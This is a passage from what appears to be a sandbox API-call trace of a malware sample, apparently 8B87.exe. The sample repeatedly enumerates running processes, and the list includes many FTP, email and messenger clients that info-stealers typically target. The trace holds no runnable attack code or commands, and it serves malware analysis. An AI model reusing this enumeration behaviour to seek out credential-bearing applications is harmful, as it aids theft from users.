pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0209.740] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0209.742] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0209.744] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0209.746] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0209.748] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0209.751] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0209.753] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.754] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0209.756] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0209.762] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0209.764] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0209.766] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0209.767] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0209.769] CloseHandle (hObject=0x11c8) returned 1 [0209.769] Sleep (dwMilliseconds=0x64) [0209.770] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0209.783] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.785] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0209.787] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0209.788] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.790] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.792] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.794] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.795] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.797] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.799] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.800] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.802] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.804] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.805] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.807] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.809] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.811] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.813] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.814] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.816] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.818] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0209.819] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.824] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.826] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0209.828] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0209.830] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0209.832] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0209.833] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0209.835] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0209.837] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0209.839] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.841] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.843] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0209.845] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.846] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0209.915] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0209.917] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0209.919] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0209.921] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0209.923] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0209.925] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0209.929] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0209.931] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0209.933] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0209.934] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0209.936] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0209.938] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0209.940] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0209.941] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0209.943] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0209.945] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0209.947] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0209.948] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0209.950] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0209.952] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0209.953] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0209.955] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0209.960] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0209.962] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0209.964] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0209.966] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0209.968] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0209.970] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0209.972] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0209.975] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0209.977] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0209.979] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0209.981] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0210.003] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) 